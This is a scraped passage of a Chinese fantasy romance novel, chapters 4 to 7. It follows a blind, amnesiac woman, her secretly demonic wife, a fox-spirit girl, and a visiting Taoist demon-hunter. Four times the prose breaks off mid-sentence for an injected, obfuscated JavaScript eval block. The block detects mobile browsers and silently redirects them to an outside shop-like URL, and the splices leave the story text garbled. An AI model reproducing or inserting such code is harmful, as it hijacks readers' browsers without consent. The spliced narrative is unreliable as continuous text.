小檀瞥了一眼榻上的萧衍仪,见她嘴唇微动,眼底闪过一丝复杂情绪,心下了然。
她收回视线,语气刻意放得又冲又急:“算了算了!你什么都干不好,还是我去吧。屋外雨下大了,一会儿你丢了,我还得……”话未说完,却被萧衍仪厉声打断。
“小檀!”萧衍仪的声音严肃,却又在转向池未时瞬间放软,“你别听她胡说。我身上无伤,只是……只是回来路上摔了一跤。池未,你快去换身干衣裳,仔细着凉。”
“没有伤?那刚刚的血……”池未怔怔地站在原地,湿发贴在额角,水珠沿着下颌滑落。
“不是我身上流的血,是我买回来的鸡,摔了一跤蹭到我身上了,怪我刚刚没说清楚,让小檀你们两个误会了。”她顿了顿,给小檀递了个眼神。
“对对对,不是她的血,虚惊一场。”小檀撇撇嘴,弯腰拾起滚落在地的铜盆,识趣地退了出去,轻轻带上了门。
池未浑身湿透,怕弄脏了床褥,只敢挪到床边,小心翼翼地跪坐下来。她将袖子挽起,双手在背后仔细擦了又擦,才迟疑地抬头:“真没受伤吗?”
看着池未这副全心牵挂的模样,萧衍仪心头一软,嘴角不自觉地扬起一丝笑意。她伸出手,轻轻拉住池未冰凉的手腕,引着她往自己腰腹处探去。
不过是些皮外伤,只需运转一个小法术便能瞒住池未。
就在池未的指尖即将触碰到那袒露肌肤的刹那,她却像被烫到般猛地缩回了手。
“怎么了?”萧衍仪疑惑道。
池未那双雾蒙蒙的眼睛弯了起来,扬起一个湿漉漉却灿烂的笑:“没真的受伤就好,我信你。我手太凉了,别冰着你。”
烛光映着她湿透的鬓发、额角隐约的红痕,还有那双蒙着白雾却依然盛满关切的眼睛。萧衍仪忽然想起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116985|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小檀方才的刻薄言语,池未忙活了许久却摔得一身狼狈,却连半分恼意都没有……
她伸出掌心,抚上池未的脸,大拇指轻轻摩挲过池未的眼睛和额角的红痕,池未吃痛瑟缩了一下,又坐直迎上了萧衍仪探过来的手。
“看不清东西,是不是很辛苦?”
听出萧衍仪声音里的担忧,池未笑着摇摇头想也不想地说:“不辛苦,只是我……”
“只是什么?”萧衍仪轻轻揉捻了一下池未的耳垂,池未没躲开,脸悄悄地红了。
池未羽睫低垂:“只是我觉得自己好像照顾不好你和小檀,让你的负担太大了,如果我眼睛无事,我绝不会让你一个人奔波数十里去县里取书回来誊抄。这样的话你也就不会摔倒受伤。”
“现在就连你受伤,我想做饭给你吃,也做不到。”
“我真的好像什么事都做不好。”
越说下去,池未心底越发自责。她心底有种冲动:“要不然……”
萧衍仪微微蹙眉:“要不然什么?”
池未咬咬牙鼓起勇气:“要不然我们还是分开吧,这样对你和小檀都好。我们家条件本就一般,或许你带着小檀回娘家……”
“回娘家?那你呢?自己一个人守在这间破屋等死?”
萧衍仪眉头紧锁,想不到池未会说出这样的话。按她的想法,池未应该会惊慌、依赖、哭泣着求她别离开。
池未嘴角扬起一个大大的笑:“我自己会有办法的,今天我和一起小檀还出去赚钱了呢,一共赚了三十两银子呢。”边说她边伸手在空中比划。
屋子里寂静了一瞬。窗外的雨声忽然清晰起来,淅淅沥沥敲在瓦上。
谁都清楚今天不过是撞了大运,谁也不知道下次上天还会不会眷顾她。萧衍仪和她私奔出来,却过成这样的苦日子,要照顾她一个废人,池未实在是于心不忍。
萧衍仪看着她那双没有焦点的、盛满虚张声势的眼睛,心口像被什么钝器重重撞了一下。这双眼睛曾经最是明亮鲜活,如今却蒙着尘。
久久没等到萧衍仪的回复,池未有些担心自己说错话,惹得对方不悦。但一想到萧衍仪年纪也不过才比她大四岁,二十五岁的年纪照料一个小檀已经精疲力尽,再看顾她这个瞎子一辈子……
“再说反正……反正我也失忆了,不记得以前的事,就当做我们两个从来没有过那一段好了。”池未池未的声音低下去,手指无意识地绞着湿透的衣角。
“所以,”萧衍仪慢慢开口,手指抬起来,极轻地抚过池未冰凉的脸颊,“我照顾你这么些日子,你心里对我,就连一丝一毫的感情都没有生出来过吗?”
她的指尖停留在池未的侧颈,能感觉到皮下温热的脉搏在急促跳动。五指虚虚悬着,脸色冰冷,她若是想,下一秒就能掐断池未的脖颈。
说出答案对于池未来说似乎极为困难,她的唇色一点点褪成苍白,潮湿的鬓发贴在颈边,更衬得那截脖颈纤细易折。
“没……没有过。”
5. 第 5 章
萧衍仪最终还是没能下得去手,她甚至觉得心情更加愉悦,就连因遇到她师姐受伤而烦躁的心也渐渐平静下来。
她能看出池未在说谎,明白池未是因为自责才提了那个蠢办法赶她走,留池未一人自生自灭。
“小池,你的眼睛,我找到办法治疗了。就算这样,你还是要和我分开吗?”
池未的手猛地攥住了她的手腕:“真的?若是……若是能看见,我就能帮你做许多事了。我可以去码头搬货,赚钱养活你和小檀。”
去码头……做苦力?
萧衍仪眉头几不可察地蹙了一下。眼前闪过那双曾经抚琴烹茶、执笔作画的手,如今却说要为她们去扛麻袋。
“可你明明说不喜欢我和小檀,”她故意拖长了语调,指尖轻轻点了点池未发烫的面颊,“为何还要去码头,养活两个不相干的人?”
“我……”池未的脸颊瞬间红透,像是被戳破了心事,懊恼地咬了咬下唇,说出实话“我是担心你一个人要照顾我们两个太累了。”
内心深处,她也不想被萧衍仪抛下。
“哦,担心,但还是因为不喜欢我?”萧衍仪低笑,那笑声里带着一丝自嘲的涩意,“也是,我这般丑陋相貌,本就配不上你。”
“不是的!”池未急急反驳,手指无意识地抓紧了萧衍仪的衣袖,“我喜欢你,也喜欢小檀……我想一直、一直和你们生活在一起的。”说完,她仿佛耗尽了所有勇气,整张脸都埋了下去。
萧衍仪的心像是被羽毛轻轻搔过。她抬手揉了揉池未湿漉漉的墨发,发丝冰凉顺滑。“好了,先去把湿衣服换了。换好了,我再同你细说。”
池未用力点头,摸索着站起身,朝衣柜的方向挪去。
萧衍仪总说她自己样貌丑陋,可池未却一点也不在乎。凡有所相,皆是虚妄,一个人真正的美是源自内心的,就算是她有一个貌若天仙的夫人,但心肠如蛇蝎般歹毒,她也是万万不敢要的。
她的衣物向来被萧衍仪妥帖地叠放在柜子最右侧,伸手便能触到。想到方才那番近乎表白的对话,池未耳根微热,没有像往常一样出声让萧衍仪回避。
湿透的外衫垂落在地,露出里面单薄的里衣。萧衍仪一直倚在床头望着她,目光从她纤细的脚踝,移到那段白皙骨感的脊背,肩胛随着动作微微起伏,像一对欲飞的蝶。
当池未坦然褪下最后那层湿衣时,昏黄烛光勾勒出流畅的腰线,水珠沿着背沟缓缓滑落至幽谷。
萧衍仪小腹蓦地一紧。
一股如昨晚一样熟悉的燥热毫无征兆地窜起,来得汹涌而直接。她呼吸微窒,几乎是狼狈地偏开了头,不敢再看。
因为受伤,压制不住妖族自有的发情。指尖深深掐进掌心,点点猩红的液体顺着指缝流出,她试图用痛感压下那阵突如其来的、不合时宜的悸动。
她最是憎恶那些骨子里自带的妖族习性,却始终无法摆脱。
昨夜已经不受控制一次,她绝不允许自己再犯。
夜深,窗外的雨声,似乎更密了些。
萧衍仪接过小檀递来的茶水,抿了一口,温热的液体稍稍平复了喉间的干涩。
她放下茶盏,声音放得平缓:“我今日去县里书局取水时,碰见一位游方的大夫。她听了你的情况,说她师父或许有法子医你的眼睛。”
“真的?”池未嘴角忍不住向上扬起,那双蒙着雾的眼睛骤然亮了起来,“那什么时候能见到她师父?”
“半月之后。”萧衍仪伸手,轻轻握住池未微凉的手指,“她师父远在赤城。三日后,我们收拾行装,坐船南下。那人给我些草药,可以用来泡药浴,对你的眼睛有益。”
池未喃喃,欢喜里掺进一丝迟疑:“半月……,那岂不是要花许多银钱?”
“本来家中是紧些,”萧衍仪指尖摩挲着她的手背,语气里带了些许轻松的调侃,“但好在,我家阿池和小檀今日在码头赚了三十两,竟刚好凑够了盘缠。”
她顿了顿,声音变得郑重:“况且,无论要花多少,你的眼睛,我都一定要治好。我要你亲眼看看我,重新记起我。”
池未只觉得心口像被温水浸透了,酸软得发胀。鼻尖一酸,眼前那层白雾便模糊起来,隐隐有水光浮动。
她张了张嘴,喉咙哽住,半晌才挤出声音,带着细微的颤:“夫人……谢谢你。”
“夫人”二字出口,萧衍仪指尖几不可察地颤了一下,这是池未第一次这么唤她。
池未浑然不觉,只顾着将满心的滚烫倒出来:“不论这眼睛最终能不能好,你对我的恩情,我此生难忘。日后不论你想要我上刀山、下火海,我都应你。”
无相州内,婚配不论性别,互称“夫人”本是寻常。此刻听着这一声唤,萧衍仪心口像是被羽毛轻轻搔过,泛起一阵奇异的酥麻。她本应回以同样的称谓,可那两个字在舌尖转了转,终究没有出口。
她只是将池未的手握得更紧了些,声音柔得似能化开夜色:“无需上刀山。阿池,我只要你永远陪在我身边,便够了。”
“答应我,永远都不要离开我好吗?”
窗边,小檀默默收回视线,看着这对越发腻歪的妻妻,无声地撇了撇嘴“白痴,你要上贼船了知不知道,还上刀山下火海呢。”
只可惜当事人浑然不觉,她最后深深看了池未一眼,眼神复杂难辨,终究转身,悄无声息地回了自己房间。
翌日,经过前一晚的狂风骤雨,天色依旧有些昏昏沉沉。
两大一小用过早饭,小檀得了要去南下的消息,自告奋勇要去出门帮忙采买所需生活用品。
池未哪能让她一个小孩子独自去采买,便收拾收拾,同去了。
沿途要坐好多天的船,不光得备好晕船药,还得抓几帖管风寒的草药。昨日赚的三十两银子都在小檀身上收着,池未一边走一边想,虽然家里不算宽裕,但好不容易有了进项,总该给萧衍仪捎件礼物才是。
“再给你和阿衍各添身新衣裳吧。”她开口道。
小檀眼睛一亮:“也好!那你呢?你想要什么样式的?”
池未摆摆手,唇角带着温软的笑:“不用,我箱子里衣服还多,只给你们俩置
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116986|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
办就好。”
小檀倒也不客气,这三十两里本也有她一份功劳。再说了,池未衣服本就多,萧衍仪不知道给她买了多少好衣服,只是她看不见罢了。
两人寻了家瞧着干净体面的裁缝铺子,老板娘热络地迎上来。量完小檀的尺寸,轮到给萧衍仪选料子时,池未却犯了难。她根本看不见萧衍仪穿过什么样的衣服,又怎么知道对方喜欢什么样式的衣服呢。
正迟疑间,小檀已换好一身鹅黄衫子从里间走了出来,见她犹豫,便插话道:“选黑的好了,适合她。”
老板委婉道:“黑色?姑娘家穿黑色裙子,怕是显得有些沉闷了。”
对于萧衍仪,池未虽从未见过她的面容,但心里总存着一幅清浅的影。萧衍仪于她像是晨雾里初绽的芙蕖,带着未晞的露水,素净而皎洁。“还是选白色吧,总觉得……白色才衬更她。”
“倒也成,虽不如黑色那么配她,可白色也不错。”小檀正随手拨弄着架上挂的成衣,心里盘算着要不要多给自己添几件。
正说着,她目光不经意掠过门外,忽地瞥见一个道士的身影的人,正拿着罗盘在街角比划着什么。小檀顿时脸色微变,话也没接完,一转身就闪进了裁缝店的后院。
老板娘没察觉异样,只笑着又问池未:“那可知夫人的尺寸呢?”
池未一怔,眼前蓦然浮起那一夜,脑海一片混沌时,她伸手揽住萧衍仪的腰身,隔着薄薄衣料,触到饱满又纤细的轮廓。
她耳根微微发热,垂下眼去:“比我的身量,稍稍宽松一些就好,麻烦老板了。”
池未话音刚落,耳畔陡然响起一道清亮的女声,惊得她心头一跳。
“喂,姑娘,你周身妖气缠得这么紧,可是遇见过什么不干净的东西?”那声音掷地有声,字字透亮。
“不干净的东西?”池未几乎立刻想到前几夜那无头女鬼站在床头,却仍定了定神问道:“阁下是?”
“咦,竟瞧不见我?”对方声调微扬,随即朗朗笑道,“我叫辛戎,略通玄黄之术,是个道士。你身上这妖气浓得掩不住,当真没遇过怪事?”她话音洪亮,中气十足,震得池未耳中嗡嗡作响,不由抬手揉了揉耳朵。
“应当没有。”池未含糊应道,心道莫不是个骗子,转身便要唤小檀回家。
谁知那人影一晃,又拦到她跟前,话音急了几分:“哎别走呀!我可不是骗子,我捉妖只为积攒功德,分文不取的!”
池未脚步一顿:“分文不取?”毕竟治完病回来这房子还是要住的,既然不要钱,请回家看看倒是也无妨。
撑死了也就留对方吃顿便饭,花个几文钱。
“是!一个铜板都不要。”辛戎答得斩钉截铁,拍着胸口保证完,还附耳到池未身边煞有其事道,“其实啊,我这次来你们小渔村就为了追一个大妖,你这个小事,我看你是个瞎子,发个善心帮帮忙而已。”
竟有如此好事,池未眉头一挑,缓缓转身面对辛戎施了一礼:“说来话长,我家里确实是好像有点不干净,要不然劳烦道长随我走一趟?到了一看便知。”
6. 第 6 章
辛戎和池未在裁缝铺里没寻到小檀的身影,急得池未后背心的冷汗都快浸透衣服。
小檀丢了,她回去跟萧衍仪可怎么交代!
裁缝铺的老板比她更急,人是在她店里不见的,要是报官她可是要担责任的:“要不你先回家看看,说不定孩子回家去了呢。”
小檀向来听话懂事,池未不信她会做出突然离开,把她一个人留在店里的事。但没别的办法,池未也只能先回去:“行,麻烦老板找街坊邻居帮忙寻寻,我先回家看看。”
一路上,池未这个瞎子走的比辛戎那个玄门修士还快,就是走得十分不稳,没走几步路就东歪一下、西倒一下,辛戎扶来扶去累得满头大汗。
直到池未又一次先写跌倒被辛戎扶起来,她实在受不了了,一把将人拉停:“停!你别着急,越走越乱,啥时候才能到家啊。”
两人在一个三岔路口停下,辛戎看着眼前三条路,喘了口粗气道:“抓妖追上百里,都没扶你走的这段路累。前面三条路,往哪边走?”
池未怔住:“三岔路口?平时都是我家夫人和小檀扶我回去的……”
辛戎两眼一黑,随手拉了个衣着朴实,看黝黑的样貌就知道村里常驻的老人问路:“大娘,你可知道这位姑娘的家住何处?”
大娘摆摆手,一开口叽里咕噜的方言,听得辛戎直挠头,对方说完她赶忙连声称谢将人送走。看到对方走进巷口一屁股坐在石墩上,跟几个当地渔民闲聊起来,她才收起笑容转过头面向池未:“听懂了没有?你家住哪边?”
池未听得比她还懵:“你倒是找个本地人问路啊。”
到底谁不是本地人啊?
辛戎往道路两边看了一眼。
没人路过。助人为乐也太麻烦了,要不就把这瞎子扔在这路口好了。
她慢慢松开手,脚尖轻点往后悄悄挪了两步。
察觉到对方沉默,池未担心自己回不去家,急道:“我家里有个秋千,旁边很安静,前面还有一大片油菜花田,估计不是村头就是村尾。那妖凶得很,一身白衣,颈上无头,我那天晚上差点就被她给害死了,辛道长说到做到,一定会帮我回家捉妖的吧。”
“真的凶的很?”辛戎有些不信,但一想着此次出门一众师姐妹比她强的比她弱的全都收获颇丰,就连最小的师妹都走了狗屎运,围剿一只虎妖时,给了对方一击,她却一无所获。
池未猛点头:“真的凶得很!”吓得她差点都睡不着觉,还是她夫人哄着才睡着的。
辛戎猜测池未一家人应该是才搬来这里不久,不然一个土生土长的瞎子,怎么连自己怎么回家都不知道。再说真把一个瞎子扔在大街上的事,她也就想想,真做还是做不出来的。
一炷香的时间后,辛戎一路走一路问,终于看到了池未口中的那一大片油菜花田。
恍惚间,池未听到了萧衍仪柔声唤她:“阿池,你终于回来了。咦,旁边这位道长是……”
午后的院落里,斜阳正暖,池未的心却惶恐不安。
挣开辛戎的搀扶,往前去探萧衍仪的怀抱急道:“夫人,都是我不好,小檀不见了,我们两个本来在裁缝店给你买衣服,然后突然我就听不到她的声音,都怪我没有照顾好她。”
话音刚落,池未便听到萧衍仪的低笑声,然后便是小檀一如既往地“咯咯”笑。
“她呀,早就回来了。我刚刚才教训过她,正要出门寻你。”萧衍仪拉着池未在院中的旧木凳上坐下,池未这才明白原来小檀是在故意和她玩闹。
她重重呼出一口,有些气恼:“萧檀,你要是再敢这样甩开我,我以后就再也不带你出门了,你知不知道我有多担心你,刚才我差点就让裁缝店的老板报官了。”
膝盖一沉,小檀已趴了上来,把上半身的重量全压在她腿上,依旧“咯咯”笑着:“知道了,我下次不会了。阿池,这位穿着奇奇怪怪衣服的人是谁呀。”
池未这才想起来要给家里人介绍辛戎:“这位辛戎道长是来咱们家捉妖的。”
“捉妖?”小檀立马直起身子失声往萧衍仪身后躲,萧衍仪则是淡淡地盯着池未的笑脸。
辛戎的目光从萧衍仪的脸上收回,笑呵呵地蹲在小檀身前:“是啊,小檀别怕,我是来捉妖的。池未说你们家里有个无头女妖,夜里喜欢站在床尾,叫我过来看看。”
小檀拉着萧衍仪的手,仰起的小脸上满是惧色:“阿姐,咱们家里真的有妖吗?”
萧衍仪揉了揉小檀的发顶,动作轻柔地安抚着,抬眼对辛戎笑道:“既然道长来了,那便帮家里瞧瞧,就算是有妖,道长也会想办法把妖抓走的是吧。”
“那是自然。”辛戎拍着胸脯保证,萧衍仪劝说辛戎捉妖后留下来吃顿便饭,辛戎欣然应允后,萧衍仪拉着小檀转身进向厨房。
“你夫人长得也太漂亮了,跟天仙似的。怎么看上你这个瞎子的?”辛戎满脑子疑惑地在池未身边的凳子坐下,凑近了低声询问。
萧衍仪在几步之外,一袭素白长裙,衣料在日光下隐约流转着细密暗纹。她身姿挺拔,举止从容,一笑一颦间尽是养尊处优的矜持气度。辛戎越看越困惑:这样的人,怎么会甘心与一个瞎子缩在这破落渔村里?
池未闻言,手指无意识地抚上自己的脸颊,低下头轻声问:“我夫人她当真那么好看?那我呢?我这样子……配得上她么?”
萧衍仪总说自己相貌平平,池未早已当真。如今乍听外人如此盛赞萧衍仪,她心头蓦地一慌,竟生出几分不安来。
“你生得也不差,”辛戎说得直白,“就是眼睛没神,可惜了。”这话不假。池未面容干净,眉眼细致,甚至比明艳的萧衍仪还多一分清冷疏离的韵致。
而萧衍仪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116987|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却不同。她像一株精心栽培的名贵花卉,优雅中透着一丝不易察觉的妖娆。即便站在人群里,也总能让人一眼望见,夺目,且难以忽略。
“我夫人以前是大户人家的小姐,和我私奔出来的,我们两个感情很好的。我以前也不是个瞎子。”
池未的头垂得更低,心底无端多了丝危机:“道长我们家到底有没有妖啊,天都快黑了,你倒是看出什么来没有?”
“原来啊,我说她怎么穿那么好的衣服,住这么烂的屋子。”辛戎拿出自己的侧包,开始翻找捉妖需要的工具,听到池未说“天都快黑了”她放下手中工具,“不对啊,你一个瞎子,怎么知道天快黑了。”
池未真的很想翻白眼:“拜托,你能不能不要一口一个瞎子,能不能对我这个盲人尊重一点,我是看不太清东西,但还是能感知到光亮的好吗?”
“抱歉我注意一下,我这就看。”辛戎拿出罗盘,指针摇摆不定,口中念着池未听不懂的咒语,朝着卧室的房间走去。
厨房的窗户,缓缓露出一个小脑袋,接着是一双黑黝黝的眼睛和两只扒在窗沿上的白净小手。
萧衍仪站在窗边,睨了一眼朝卧房走去的辛戎,低头看着小檀如临大敌的模样有些好笑:“今晚是吃烧鸡、炖鸡、还是烤鸡?”
一听到鸡,小檀就忍不住流口水,她擦了擦不存在的口水转身:“昨天吃了烧鸡……今天炖□□!能加点蘑菇和土豆吗?”渔村边上的小树林里,有一种煮过后黄黄脆脆的蘑菇,春雨后起,萧衍仪给她做过一次,她十分喜欢。
萧衍仪头也不抬:“没有蘑菇。”
“我去采!”小檀转身就要往外跑,却被萧衍仪一把攥住辫梢,轻轻拽了回来。
“留我身边,不然遮不住你身上妖气,那个辛戎只是那些臭道士里的其中一位,想来她们早就到了,不能和那老道对上,不然很快就会把我们在这的事情闹大,咱们得早些离开这里。”
小檀听她语气转冷,心头突地一跳:“那辛戎她……”
“杀了她,明日就走。”萧衍仪唇角一弯,提起一个轻淡的笑,抬眼迎向从卧房一无所获、垂头丧气走回来的辛戎。
眼前忽地被一片阴影遮挡,池未摸索着趴在窗边,对着厨房里的萧衍仪柔声笑道:“夫人,再有两天咱们就要走了,我还想吃一顿上次你做的那个蘑菇可以吗。”
正准备做饭的萧衍仪一怔,看着略显紧张的池未和坐在桌边不时打量二人的辛戎,眼皮微微一挑:“好,我和小檀出去采些回来,你好好招待客人。”池未鲜少会主动提出想吃什么,她怎么能不答应。
小檀双目圆瞪,静静地瞪着这个偏心的萧衍仪,准备开口表达不满,嘴巴一紧,被萧衍仪掐住脸颊,却是什么也说不出来,只能被萧衍仪拉着,踏出院门,沿着那条被夕阳染成金红色的蜿蜒小径,采蘑菇去了。
7. 第 7 章
离木屋不远处的一片小树林中,草地葱郁,泥土特有的气息扑鼻而来,熟悉的味道让小檀有种躺在草地上撒欢打滚的冲动。
萧衍仪手里拿着编筐,四下搜寻着池未想要吃的蘑菇:“不许,衣服脏了还得洗。麻烦。”
小檀听了一下就炸毛了:“麻烦?刚刚我说吃蘑菇你也嫌麻烦,怎么池未想吃,你就不嫌麻烦了?”
萧衍仪不语,继续采蘑菇。
“好啊,你个萧衍仪。口口声声说要报复池未,我看你是见她变乖听话了,又觉得可以了,真要和她这么糊弄下去,安居生娃了吧。”小檀掐着腰调侃,偏头瞧萧衍仪的反应。
“不是,只是为了让她信任我。”萧衍仪蹲在地上,拾在手中的蘑菇忽然断开,圆滚滚的蘑菇帽滚落在地。
小檀往前跟了两步,不自觉放缓了呼吸:“你别说谎了,我看出来你很在乎她了,池未其实失去记忆之后,对你也很好,就这样一直过下去,一直做你们两个的妹妹,我觉得也挺好。”
萧衍仪缓缓起身,回想到以往的种种,她心底忽然变得躁郁:“就这么一直过下去?她现在虽然变得和初见我时一样了,但谁能保证她又会不像以前一样变心?”
小檀试探问道:“说不定以前的她有难言之隐呢?”
“或许吧,但只要她再次接触到弧矢谷的权力,她便还会变成以前那样。毕竟本性难移对吗?就像你这个小狐狸一样,成了精也总喜欢顿顿吃鸡肉。”
小檀自然说不出自己不喜欢吃鸡的话,但又觉得萧衍仪这样说,好像也不太对劲。只好撇撇嘴自己蹲下采蘑菇:“反正她现在看着挺好的,不继续学那个绝弦功,有人气多了,会生气也会伤心还会吃醋。”
萧衍仪眨了眨眼:“吃醋?”
“你别明知故问了,刚刚那辛戎一双眼睛盯在你身上扒都扒不下来,池未那个瞎子都感觉到了,要不然也不会把你支出来采蘑菇,别说你没感觉啊,我可不信。”小檀采了一捧蘑菇,放入萧衍仪的编筐里,打趣地看着她脸上渐渐起了一层薄粉。
萧衍仪略微晃神,喃喃说道:“其实……你说如果池未一直记不起以前的事,一直远离谷里的权力斗争,是不是……”对于她不敢有的期待,萧衍仪没敢继续往下说。
小檀眼里冒出一抹精光:“当然会的,一个人变成什么样子,环境影响很大的。”
萧衍仪似有所想:“那便散了她的功法,一直做个瞎子如何?”
疯子!小檀默默对着蘑菇翻了个白眼,而后提起微笑转身:“这好像不太好吧,你这么漂亮,她看都看不见,多可惜啊。”
萧衍仪:“……你说的也不是没有道理。”
木屋里。
池未眼睫低垂坐在一旁,脸上没什么表情,辛戎坐在她的对面,双手撑在桌上抵在下颌,啃着自己的指甲盖,神色中透着纠结。
“嘶……到底是在哪见过呢,真是奇了怪了。”
池未冷哼一声:“我家娘子都说了与我一起长大,自小没分开过几次,你要是见过她,又怎么会没见过我呢?”
“嘘,你别说话,我感觉我马上就能想到了。”
来者便是客,池未拿她没办法,只得自己调转个方向面向一旁抱着手臂生起闷气。
原来萧衍仪离开之后,这辛戎不知道哪根筋搭错了,非说感觉好像在哪见过萧衍仪。
池未甚至都在想,这臭道士是不是故意的,打着免费上门降妖的幌子,其实是看她夫人长得漂亮。
果然免费的才是最贵的。想到这里,池未狠狠地捶了一下桌面,惊得辛戎一个激灵,差点翻倒在地。
以为池未生气她没抓到妖,辛戎不好意思道:“池未你怎么了?不是我技术不行啊,是那妖好像已经离开这里了,罗盘只能探查到一些微弱的气息,不过你放心,只要我在这渔村期间它出现,我定然给她抓进我酒葫芦里头。”
“那就拜托辛道长了。”两人正聊着,萧衍仪端着一盆热腾腾的菜走了进来,小檀紧随其后,落座辛戎旁边。
自打萧衍仪一进来,辛戎的目光就没离开萧衍仪的脸,直盯得萧衍仪抬眸静静看着她,她才觉出不合适来,连声道歉。
“不知道为什么,总觉得萧姑娘有些眼熟,却记不起到底是在哪见过了。”
萧衍仪轻笑:“许是我生了张大众脸。不过辛道长术法高强,怎么会到这小渔村里来呢?莫不是我们这出了鱼妖?”
菜香扑鼻,说句话的工夫,一旁的小檀桌前已经落了两块骨头,辛戎连日来风餐露宿,早就馋得不得了,夹了块肉落在碗里,刚咬了一口,就烫得受不了,放了下去。
辛戎恋恋不舍地从鸡翅膀上收回视线:“你家妹妹铁齿铜牙啊简直,这么热都能吃的那么快。”
语毕想起萧衍仪的问题,她抖了抖衣袖,脸上露出一丝自豪感,“我乃青觉散人门下弟子,这次出来是随师尊历练降妖伏魔来的,前不久遇见个大蛇妖,这才顺着踪迹追到了这里。”
小檀和鸡肉作斗争的空隙,抬头满脸油光的补了一句:“师傅带小徒弟出来玩的呗。”
“小檀,不许无礼。”萧衍仪轻笑,瞪了小檀一眼。
辛戎本想显显威风,但一想这些渔民能懂什么,便也不想和一个孩子生气,拾起筷子笑道:“不碍事,童言无忌童言无忌。”
池未似乎对蛇妖很感兴趣:“大蛇妖?能有多大?有门口那棵柳树粗吗?”萧衍仪夹了块蘑菇轻轻吹凉,送到池未嘴边,见她这么说,不由地有些紧张辛戎会说出些不该说的。
“那是当然了,别说一棵树那么粗,水缸那么粗的都有!”终于有人感兴趣,辛戎刚夹起块鸡肉,眼睛一亮又放入碗中侃侃而谈。
抬头时看到萧衍仪如喂孩童一样喂池未吃饭,看得辛戎这个孤家寡人有些心酸。
池未又问:“那妖都是坏的吗?”
此话一出,桌上一大一小双双僵住,目光落在辛戎身上,辛戎本想着照本宣科把家师教导的全都讲出来,瞬间压力倍增。
她紧张地喝了一口茶水:“其实我觉得人有坏人,妖也有坏妖,善恶自在人心,但毕竟物种不一样,也不能用人的眼光去评判妖做的事,对吧。”
池未听了身子往前探了探:“道长说的有道理。”
身旁的一大一小也松了口气,喂饭的喂饭,吃肉的继续吃肉。
但紧接着池未又问了一句,将两人的心又吊起来。
“那蛇妖做了什么恶事?听说妖都是会化成人形的?那它们都会做什么?有什么特点呢?我要是遇到了又该怎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116988|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么办?”
萧衍仪:“阿池,饭该凉了,还是先让道长用饭吧。”
池未挠挠头,有些不好意思地笑了笑:“夫人说得对,是我问题太多了。”
“不碍事的。”一说到妖,辛戎连碗里的饭也忘了动,眼睛亮了起来,恨不得讲上三天三夜,“这蛇妖在临县害了不少人。师傅发现它时,它正藏在一处旧宅里害人,满屋都是血腥气。”
她放下筷子,指尖在饭桌上轻轻一划,仿佛划出一道无形的追索轨迹。
“我们从这一路追,一路赶,这才到了此处。大妖是能化形为人的”她顿了顿,声音压低了些,“虽说为人,但总脱不了骨子里的习性。比如冷血的,便惧寒贪暖,狡猾的,眼神总飘忽不定。就算藏得再好,那一身妖气,在懂行的人眼里,也是遮不住的。”
辛戎左顾右盼两眼,最后落在萧衍仪的身上:“就比如说萧姑娘长相这么漂亮,假如她是妖啊,说不定是鲜花成精了。要是你是妖的话,性格冷冷清清,有可能就是木头、石头成精了。特点还是蛮鲜明的。”
专心吃饭的小檀扫了辛戎一眼,指着自己问道:“那我呢?要是成精了……啊呸,要是我是妖成精了,你看我像什么妖?”
辛戎蹙着眉头下巴抵在手背,思考了一会儿,看着桌上的茶杯眼睛一亮,伸手揉了揉小檀的发顶:“你是茶杯成精了,矮矮的很可爱。”
小檀朝辛戎翻了个大大的白眼,鼻尖皱了皱,几乎要将不屑写在脸上。辛戎却浑不在意,只笑了笑,重新端起饭碗,吃得津津有味。
一旁的萧衍仪垂着眼,手里慢条斯理地挑着饭粒,因辛戎几次在池未面前夸赞自己容,貌唇角悄然弯起了一抹极淡的弧度。
她向来清楚容貌是自己的长处之一,可池未眼盲,总不能自夸,只好时时作谦。辛戎这番话,倒是无意中顺了她的心思。
